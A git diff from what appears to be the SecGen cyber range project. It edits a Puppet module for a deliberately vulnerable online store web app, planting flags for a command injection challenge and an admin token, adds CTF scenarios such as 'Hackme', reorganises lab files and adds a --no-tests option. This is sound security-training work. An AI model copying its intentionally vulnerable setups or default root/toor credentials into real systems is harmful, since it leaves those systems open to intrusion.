[ '/bin/', '/sbin/' , '/usr/bin/', '/usr/sbin/' ], notify => Exec['create_command_injection_flag'], } @@ -111,4 +143,4 @@ class onlinestore::install { cwd => "$docroot/admin/", command => "echo '$admin_token_flag' > ./.adminToken && chown -f www-data:www-data ./.adminToken && chmod -f 0600 ./.adminToken", } -} \ No newline at end of file +} diff --git a/modules/vulnerabilities/unix/webapp/onlinestore/secgen_metadata.xml b/modules/vulnerabilities/unix/webapp/onlinestore/secgen_metadata.xml index af851a041..9bcfc9de8 100644 --- a/modules/vulnerabilities/unix/webapp/onlinestore/secgen_metadata.xml +++ b/modules/vulnerabilities/unix/webapp/onlinestore/secgen_metadata.xml @@ -143,6 +143,11 @@ modules/bases/kali.* + + + webapp + + .*apache.*compatible.* diff --git a/modules/vulnerabilities/unix/webapp/onlinestore/templates/csecvm.sql.erb b/modules/vulnerabilities/unix/webapp/onlinestore/templates/csecvm.sql.erb index 60401d52e..ea056e36d 100644 --- a/modules/vulnerabilities/unix/webapp/onlinestore/templates/csecvm.sql.erb +++ b/modules/vulnerabilities/unix/webapp/onlinestore/templates/csecvm.sql.erb @@ -161,6 +161,7 @@ CREATE TABLE `token` ( LOCK TABLES `token` WRITE; /*!40000 ALTER TABLE `token` DISABLE KEYS */; +INSERT INTO token VALUES ('<%= @db_flag -%>'); /*!40000 ALTER TABLE `token` ENABLE KEYS */; UNLOCK TABLES; diff --git a/scenarios/ctf/flawed_fortress_2.xml b/scenarios/ctf/flawed_fortress_2.xml new file mode 100644 index 000000000..85dc11886 --- /dev/null +++ b/scenarios/ctf/flawed_fortress_2.xml @@ -0,0 +1,156 @@ + + + + + Flawed Fortress 2 + Z. Cliffe Schreuders + A range of challenges of various difficulty. + The VMs are not related to each other. + + + ctf + attack-ctf + blind-audit + intermediate + + + + decode_me + + + + + Test 123 + + + + + Test 456 + + + + + + + + + + + + + + + + + + + diff --git a/scenarios/ctf/hackme.xml b/scenarios/ctf/hackme.xml new file mode 100644 index 000000000..bd17d973f --- /dev/null +++ b/scenarios/ctf/hackme.xml @@ -0,0 +1,169 @@ + + + + + Hackme + Z. Cliffe Schreuders + A bunch of servers for you to hack. + +Login to the attack VM with user: root, password: toor. There are three servers for you to attack (same IP address range, ending in .3,.4,.5), and flags are often found in home directories (/home/, /root/). Beware of red herrings. + +Happy hacking! + + + ctf + hack-ctf + easy + + + attack_vm + + + + + + 172.16.0.2 + + 172.16.0.3 + + 172.16.0.4 + + 172.16.0.5 + + + + + {"username":"root","password":"toor","super_user":"","strings_to_leak":[],"leaked_filenames":[]} + + + false + + + + + + + IP_addresses + + + + + + + hackme_server + + + + + + + Hackme + + + Well done! You hacked this server. It's possible for you to get root from here. + + + + + + + + + + + + + + + + + + + + IP_addresses + + + + + + + hackmetoo_server + + + + + + + Hackme + + + + Well done! You hacked this server. There's some extra flags for you to decode. + + + + + + + + + + + + + + + + + + + + + + + + + + + IP_addresses + + + + + + + hackmethree_server + + + + + + + Hackme + + + Well done! You hacked this server. There is a CTF-style challenge on the server, if you can find it. + + + + + + + + + + + + + + + + + IP_addresses + + + + + diff --git a/scenarios/examples/services_utilities_examples/shell_login_messages.xml b/scenarios/examples/services_utilities_examples/shell_login_messages.xml new file mode 100644 index 000000000..738b0394c --- /dev/null +++ b/scenarios/examples/services_utilities_examples/shell_login_messages.xml @@ -0,0 +1,33 @@ + + + + + + system + + + + + + + Hacktivity + + + You are logged out + + + + + + + SecGen + + + + Welcome! You are logged in. + + + + diff --git a/scenarios/labs/ads_6_containers.xml b/scenarios/labs/ads_6_containers.xml deleted file mode 100644 index 5e99ad19c..000000000 --- a/scenarios/labs/ads_6_containers.xml +++ /dev/null @@ -1,231 +0,0 @@ - - - - - Containers lab - Z. Cliffe Schreuders - -# Lecture -[Sandboxing](https://leedsbeckettreplay.cloud.panopto.eu/Panopto/Pages/Viewer.aspx?id=836b7804-9c5c-4ddb-a938-aa0800a7bd14) - -[Slides here](http://z.cliffe.schreuders.org/presentations/slides/slides_out_sandboxing/ADS_PDS_Lectures_8_Sandboxes_and_Virtualisation.html) - -# Reading -[Z. C. Schreuders, T. McGill, and C. Payne, "The State of the Art of Application Restrictions and Sandboxes: A Survey of Application-oriented Access Controls and their Shortfalls," Computers and Security, Volume 32, Elsevier B.V., 2013. DOI: 10.1016/j.cose.2012.09.007](http://z.cliffe.schreuders.org/publications/Computers&Security%20-%20The%20State%20of%20the%20Art%20of%20Application%20Restrictions%20and%20Sandboxes%20-%20Author%20Version.pdf) - -# Lab -A Hackerbot lab. Work through the labsheet, then when prompted interact with Hackerbot. - - - ctf-lab - hackerbot-lab - lab-sheet - intermediate - - - desktop - - - - 172.16.0.2 - 172.16.0.3 - 172.16.0.4 - 172.16.0.5 - - - - - - - - - mythical_creatures - - - - - tiaspbiqe2r - - - true - - - - - - - - - - - - - mythical_creatures - - - - - test - - - false - - - - - - - - - - - - - mythical_creatures - - - - - test - - - false - - - - - - - - - - - - - - - - - - accounts - - - - - - - - - accounts - - - accounts - - - true - - - - - - - - accounts - - - true - - - IP_addresses - - - - - - ubuntu:xenial - debian:stretch - busybox - - - - - - /opt/chroot - - - - - - - - - - chroot_flag - - - - - - - - - - docker_flag - - - - - - hackerbot_access_root_password - - - - - - IP_addresses - - - - - - - hackerbot_server - - - - - - - - - - - - - - - accounts - - - hackerbot_access_root_password - - - - - - - - IP_addresses - - - - - - - - - - - diff --git a/scenarios/labs/ads_1_authentication.xml b/scenarios/labs/authentication_and_access_controls/ads_1_authentication.xml similarity index 100% rename from scenarios/labs/ads_1_authentication.xml rename to scenarios/labs/authentication_and_access_controls/ads_1_authentication.xml diff --git a/scenarios/labs/ads_2_pam.xml b/scenarios/labs/authentication_and_access_controls/ads_2_pam.xml similarity index 100% rename from scenarios/labs/ads_2_pam.xml rename to scenarios/labs/authentication_and_access_controls/ads_2_pam.xml diff --git a/scenarios/labs/ads_3_access_controls.xml b/scenarios/labs/authentication_and_access_controls/ads_3_access_controls.xml similarity index 100% rename from scenarios/labs/ads_3_access_controls.xml rename to scenarios/labs/authentication_and_access_controls/ads_3_access_controls.xml diff --git a/scenarios/labs/ads_4_suid.xml b/scenarios/labs/authentication_and_access_controls/ads_4_suid.xml similarity index 100% rename from scenarios/labs/ads_4_suid.xml rename to scenarios/labs/authentication_and_access_controls/ads_4_suid.xml diff --git a/scenarios/labs/ads_5_facls.xml b/scenarios/labs/authentication_and_access_controls/ads_5_facls.xml similarity index 100% rename from scenarios/labs/ads_5_facls.xml rename to scenarios/labs/authentication_and_access_controls/ads_5_facls.xml diff --git a/scenarios/labs/ads_6_container_escape.xml b/scenarios/labs/authentication_and_access_controls/ads_6_container_escape.xml similarity index 100% rename from scenarios/labs/ads_6_container_escape.xml rename to scenarios/labs/authentication_and_access_controls/ads_6_container_escape.xml diff --git a/scenarios/labs/authentication_and_access_controls/ads_6_containers.xml b/scenarios/labs/authentication_and_access_controls/ads_6_containers.xml new file mode 100644 index 000000000..83bd7e514 --- /dev/null +++ b/scenarios/labs/authentication_and_access_controls/ads_6_containers.xml @@ -0,0 +1,231 @@ + + + + + Containers lab + Z. Cliffe Schreuders + +# Lecture +[Sandboxing](https://leedsbeckettreplay.cloud.panopto.eu/Panopto/Pages/Viewer.aspx?id=836b7804-9c5c-4ddb-a938-aa0800a7bd14) + +[Slides here](http://z.cliffe.schreuders.org/presentations/slides/slides_out_sandboxing/ADS_PDS_Lectures_8_Sandboxes_and_Virtualisation.html) + +# Reading +[Z. C. Schreuders, T. McGill, and C. Payne, "The State of the Art of Application Restrictions and Sandboxes: A Survey of Application-oriented Access Controls and their Shortfalls," Computers and Security, Volume 32, Elsevier B.V., 2013. DOI: 10.1016/j.cose.2012.09.007](http://z.cliffe.schreuders.org/publications/Computers&Security%20-%20The%20State%20of%20the%20Art%20of%20Application%20Restrictions%20and%20Sandboxes%20-%20Author%20Version.pdf) + +# Lab +A Hackerbot lab. Work through the labsheet, then when prompted interact with Hackerbot. + + + ctf-lab + hackerbot-lab + lab-sheet + intermediate + + + desktop + + + + 172.16.0.2 + 172.16.0.3 + 172.16.0.4 + 172.16.0.5 + + + + + + + + + mythical_creatures + + + + + tiaspbiqe2r + + + true + + + + + + + + + + + + + mythical_creatures + + + + + test + + + false + + + + + + + + + + + + + mythical_creatures + + + + + test + + + false + + + + + + + + + + + + + + + + + + accounts + + + + + + + + + accounts + + + accounts + + + true + + + + + + + + accounts + + + true + + + IP_addresses + + + + + + ubuntu:xenial + debian:stretch + busybox + + + + + + /opt/chroot + + + + + + + + + + chroot_flag + + + + + + + + + + docker_flag + + + + + + hackerbot_access_root_password + + + + + + IP_addresses + + + + + + + hackerbot_server + + + + + + + + + + + + + + + accounts + + + hackerbot_access_root_password + + + + + + + + IP_addresses + + + + + + + + + + + diff --git a/scenarios/labs/ads_7_apparmor.xml b/scenarios/labs/authentication_and_access_controls/ads_7_apparmor.xml similarity index 100% rename from scenarios/labs/ads_7_apparmor.xml rename to scenarios/labs/authentication_and_access_controls/ads_7_apparmor.xml diff --git a/scenarios/labs/ads_assignment_sec_spec.xml b/scenarios/labs/authentication_and_access_controls/ads_assignment_sec_spec.xml similarity index 100% rename from scenarios/labs/ads_assignment_sec_spec.xml rename to scenarios/labs/authentication_and_access_controls/ads_assignment_sec_spec.xml diff --git a/scenarios/labs/bham_seccourse.xml b/scenarios/labs/lab_environments/bham_seccourse.xml similarity index 100% rename from scenarios/labs/bham_seccourse.xml rename to scenarios/labs/lab_environments/bham_seccourse.xml diff --git a/scenarios/labs/containers_lab_env.xml b/scenarios/labs/lab_environments/containers_lab_env.xml similarity index 100% rename from scenarios/labs/containers_lab_env.xml rename to scenarios/labs/lab_environments/containers_lab_env.xml diff --git a/scenarios/labs/lab_environments/labtainers.xml b/scenarios/labs/lab_environments/labtainers.xml new file mode 100644 index 000000000..c379c6dff --- /dev/null +++ b/scenarios/labs/lab_environments/labtainers.xml @@ -0,0 +1,140 @@ + + + + + Shell basics labtainers lab + Z. Cliffe Schreuders + A Labtainers lab. + + ctf-lab + lab-sheet + intermediate + + + desktop + + + + 172.16.0.2 + 172.16.0.3 + + + + + + + + + mythical_creatures + + + + + tiaspbiqe2r + + + true + + + docker + + + + + + + + + + + + + + + + + + docker + + + + + accounts + + + + + + accounts + + + accounts + + + true + + + + + + + accounts + + + true + + + IP_addresses + + + + + + desktop_root_password + + + + + + shellbasics + + + accounts + + + + + + + + + + + + localhost + + + accounts + + + + + + IP_addresses + + + + + + diff --git a/scenarios/labs/services_lab_env.xml b/scenarios/labs/lab_environments/services_lab_env.xml similarity index 100% rename from scenarios/labs/services_lab_env.xml rename to scenarios/labs/lab_environments/services_lab_env.xml diff --git a/scenarios/labs/websec_lab_env.xml b/scenarios/labs/lab_environments/websec_lab_env.xml similarity index 100% rename from scenarios/labs/websec_lab_env.xml rename to scenarios/labs/lab_environments/websec_lab_env.xml diff --git a/scenarios/labs/1_integrity_protection.xml b/scenarios/labs/response_and_investigation/1_integrity_protection.xml similarity index 100% rename from scenarios/labs/1_integrity_protection.xml rename to scenarios/labs/response_and_investigation/1_integrity_protection.xml diff --git a/scenarios/labs/2_integrity_detection.xml b/scenarios/labs/response_and_investigation/2_integrity_detection.xml similarity index 100% rename from scenarios/labs/2_integrity_detection.xml rename to scenarios/labs/response_and_investigation/2_integrity_detection.xml diff --git a/scenarios/labs/3_backups_and_recovery.xml b/scenarios/labs/response_and_investigation/3_backups_and_recovery.xml similarity index 100% rename from scenarios/labs/3_backups_and_recovery.xml rename to scenarios/labs/response_and_investigation/3_backups_and_recovery.xml diff --git a/scenarios/labs/4_ids.xml b/scenarios/labs/response_and_investigation/4_ids.xml similarity index 100% rename from scenarios/labs/4_ids.xml rename to scenarios/labs/response_and_investigation/4_ids.xml diff --git a/scenarios/labs/5_ids_rules.xml b/scenarios/labs/response_and_investigation/5_ids_rules.xml similarity index 100% rename from scenarios/labs/5_ids_rules.xml rename to scenarios/labs/response_and_investigation/5_ids_rules.xml diff --git a/scenarios/labs/6_exfiltration_detection.xml b/scenarios/labs/response_and_investigation/6_exfiltration_detection.xml similarity index 100% rename from scenarios/labs/6_exfiltration_detection.xml rename to scenarios/labs/response_and_investigation/6_exfiltration_detection.xml diff --git a/scenarios/labs/7_live_analysis.xml b/scenarios/labs/response_and_investigation/7_live_analysis.xml similarity index 100% rename from scenarios/labs/7_live_analysis.xml rename to scenarios/labs/response_and_investigation/7_live_analysis.xml diff --git a/scenarios/labs/8_dead_analysis.xml b/scenarios/labs/response_and_investigation/8_dead_analysis.xml similarity index 100% rename from scenarios/labs/8_dead_analysis.xml rename to scenarios/labs/response_and_investigation/8_dead_analysis.xml diff --git a/scenarios/labs/hacker_vs_hackerbot_1.xml b/scenarios/labs/response_and_investigation/hacker_vs_hackerbot_1.xml similarity index 100% rename from scenarios/labs/hacker_vs_hackerbot_1.xml rename to scenarios/labs/response_and_investigation/hacker_vs_hackerbot_1.xml diff --git a/scenarios/labs/hacker_vs_hackerbot_1and2.xml b/scenarios/labs/response_and_investigation/hacker_vs_hackerbot_1and2.xml similarity index 100% rename from scenarios/labs/hacker_vs_hackerbot_1and2.xml rename to scenarios/labs/response_and_investigation/hacker_vs_hackerbot_1and2.xml diff --git a/scenarios/labs/hacker_vs_hackerbot_2.xml b/scenarios/labs/response_and_investigation/hacker_vs_hackerbot_2.xml similarity index 100% rename from scenarios/labs/hacker_vs_hackerbot_2.xml rename to scenarios/labs/response_and_investigation/hacker_vs_hackerbot_2.xml diff --git a/scenarios/labs/psu_metactf_angr_symbolic_execution.xml b/scenarios/labs/software_and_malware_analysis/psu_metactf_angr_symbolic_execution.xml similarity index 100% rename from scenarios/labs/psu_metactf_angr_symbolic_execution.xml rename to scenarios/labs/software_and_malware_analysis/psu_metactf_angr_symbolic_execution.xml diff --git a/scenarios/labs/psu_metactf_computer_systems_programming.xml b/scenarios/labs/software_and_malware_analysis/psu_metactf_computer_systems_programming.xml similarity index 100% rename from scenarios/labs/psu_metactf_computer_systems_programming.xml rename to scenarios/labs/software_and_malware_analysis/psu_metactf_computer_systems_programming.xml diff --git a/scenarios/labs/psu_metactf_malware_analysis.xml b/scenarios/labs/software_and_malware_analysis/psu_metactf_malware_analysis.xml similarity index 100% rename from scenarios/labs/psu_metactf_malware_analysis.xml rename to scenarios/labs/software_and_malware_analysis/psu_metactf_malware_analysis.xml diff --git a/scenarios/labs/lab_workshop.xml b/scenarios/labs/workshops/lab_workshop.xml similarity index 100% rename from scenarios/labs/lab_workshop.xml rename to scenarios/labs/workshops/lab_workshop.xml diff --git a/secgen.rb b/secgen.rb index d5e1b2988..427d36d19 100644 --- a/secgen.rb +++ b/secgen.rb @@ -323,7 +323,7 @@ def get_vm_names(scenario) vm_names = [] parser = Nori.new scenario_hash = parser.parse(File.read(scenario)) - Print.debug "scenario_hash: #{scenario_hash}" + # Print.debug "scenario_hash: #{scenario_hash}" if scenario_hash.key?('scenario') # work around for a parsing quirk scenario_hash = scenario_hash['scenario'] end @@ -336,7 +336,6 @@ def get_vm_names(scenario) else Print.debug "Not an array or hash?: #{scenario_hash['system']}" end - Print.debug vm_names.to_s vm_names end @@ -426,12 +425,12 @@ opts = GetoptLong.new( ['--ovirt-network', GetoptLong::REQUIRED_ARGUMENT], ['--ovirt-affinity-group', GetoptLong::REQUIRED_ARGUMENT], ['--snapshot', GetoptLong::NO_ARGUMENT], + ['--no-tests', GetoptLong::NO_ARGUMENT], ['--esxiuser', GetoptLong::REQUIRED_ARGUMENT], ['--esxipass', GetoptLong::REQUIRED_ARGUMENT], ['--esxi-url', GetoptLong::REQUIRED_ARGUMENT], ['--esxi-datastore', GetoptLong::REQUIRED_ARGUMENT], ['--esxi-network', GetoptLong::REQUIRED_ARGUMENT], - ['--no-tests', GetoptLong::NO_ARGUMENT], ) scenario = SCENARIO_XML @@ -544,7 +543,9 @@ opts.each do |opt, arg| when '--esxi-disktype' Print.info "ESXi disk type : #{arg}" options[:esxidisktype] = arg - + when '--no-tests' + Print.info "Not running post-provision tests" + options[:notests] = true else Print.err "Argument not valid: #{arg}" usage